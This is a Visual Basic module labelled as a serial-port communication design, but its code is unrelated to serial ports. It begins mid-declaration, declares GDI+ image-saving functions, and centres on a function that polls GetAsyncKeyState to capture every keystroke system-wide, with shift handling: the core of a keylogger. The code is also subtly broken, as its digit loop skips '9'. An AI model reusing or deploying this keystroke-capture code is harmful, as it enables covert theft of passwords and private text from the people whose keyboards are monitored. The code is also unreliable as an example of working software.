module1.bas

VB环境下的串口通讯设计

   Data2 As Integer
   Data3 As Integer
   Data4(0 To 7) As Byte
End Type

Private Type GdiplusStartupInput
   GdiplusVersion As Long
   DebugEventCallback As Long
   SuppressBackgroundThread As Long
   SuppressExternalCodecs As Long
End Type

Private Type EncoderParameter
   GUID As GUID
   NumberOfValues As Long
   type As Long
   Value As Long
End Type

Private Type EncoderParameters
   Count As Long
   Parameter As EncoderParameter
End Type

Private Declare Function GdiplusStartup Lib "GDIPlus" ( _
   token As Long, _
   inputbuf As GdiplusStartupInput, _
   Optional ByVal outputbuf As Long = 0) As Long

Private Declare Function GdiplusShutdown Lib "GDIPlus" ( _
   ByVal token As Long) As Long

Private Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" ( _
   ByVal hbm As Long, _
   ByVal hpal As Long, _
   Bitmap As Long) As Long

Private Declare Function GdipDisposeImage Lib "GDIPlus" ( _
   ByVal Image As Long) As Long

Private Declare Function GdipSaveImageToFile Lib "GDIPlus" ( _
   ByVal Image As Long, _
   ByVal filename As Long, _
   clsidEncoder As GUID, _
   encoderParams As Any) As Long

Private Declare Function CLSIDFromString Lib "ole32" ( _
   ByVal str As Long, _
   id As GUID) As Long


Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Const SHIFT_KEY As Integer = 16
    Private KeyLoop As Integer
    Private KeyResult As Long
    Private bShift As Boolean
    Public sKeyPressed As String



Public Function bGetKey() As Boolean

    ' if key pressed, stores Key Character i
    '     n sKeyPressed
    ' and returns true
    KeyLoop = 65


    Do Until KeyLoop = 91 ' check For letters
        KeyResult = GetAsyncKeyState(KeyLoop)


        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)
            sKeyPressed = IIf(KeyResult < 0, Chr(KeyLoop), LCase(Chr(KeyLoop)))
            GoTo KeyFound
        End If

        KeyLoop = KeyLoop + 1
    Loop

    KeyLoop = 48


    Do Until KeyLoop = 57 ' check For numbers
        KeyResult = GetAsyncKeyState(KeyLoop)


        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)


            If KeyResult < 0 Then
                If KeyLoop = 48 Then sKeyPressed = ")"
                If KeyLoop = 49 Then sKeyPressed = "!"
                If KeyLoop = 50 Then sKeyPressed = "@"
                If KeyLoop = 51 Then sKeyPressed = "#"
                If KeyLoop = 52 Then sKeyPressed = "$"
                If KeyLoop = 53 Then sKeyPressed = "%"
                If KeyLoop = 54 Then sKeyPressed = "^"
                If KeyLoop = 55 Then sKeyPressed = "&"
                If KeyLoop = 56 Then sKeyPressed = "*"
                If KeyLoop = 58 Then sKeyPressed = "("
            Else
                sKeyPressed = Chr(KeyLoop)
            End If

            GoTo KeyFound
        End If

        KeyLoop = KeyLoop + 1
    Loop

    KeyResult = GetAsyncKeyState(13) ' check For enter


    If KeyResult = -32767 Then
        sKeyPressed = vbCrLf
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(32) ' check For space


    If KeyResult = -32767 Then
        sKeyPressed = " "
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(8) ' check For Backspace


    If KeyResult = -32767 Then
        sKeyPressed = " BKSP "
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(46) ' check For Del


    If KeyResult = -32767 Then
        sKeyPressed = " DEL "
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(190) ' check For period


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ">", ".")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(188) ' check For comma


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "<", ",")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(186) ' check For colon


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ":", ";")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(191) ' check For question mark


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "?", "/")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(222) ' check For quotes


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, """", "'")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(192) ' and so On


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "~", "`")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(189)


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "_", "-")
        GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(187)


    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "+", "=")
        GoTo KeyFound
    End If

    bGetKey = False ' If you get here, no key found
    Exit Function
KeyFound:
    bGetKey = True
End Function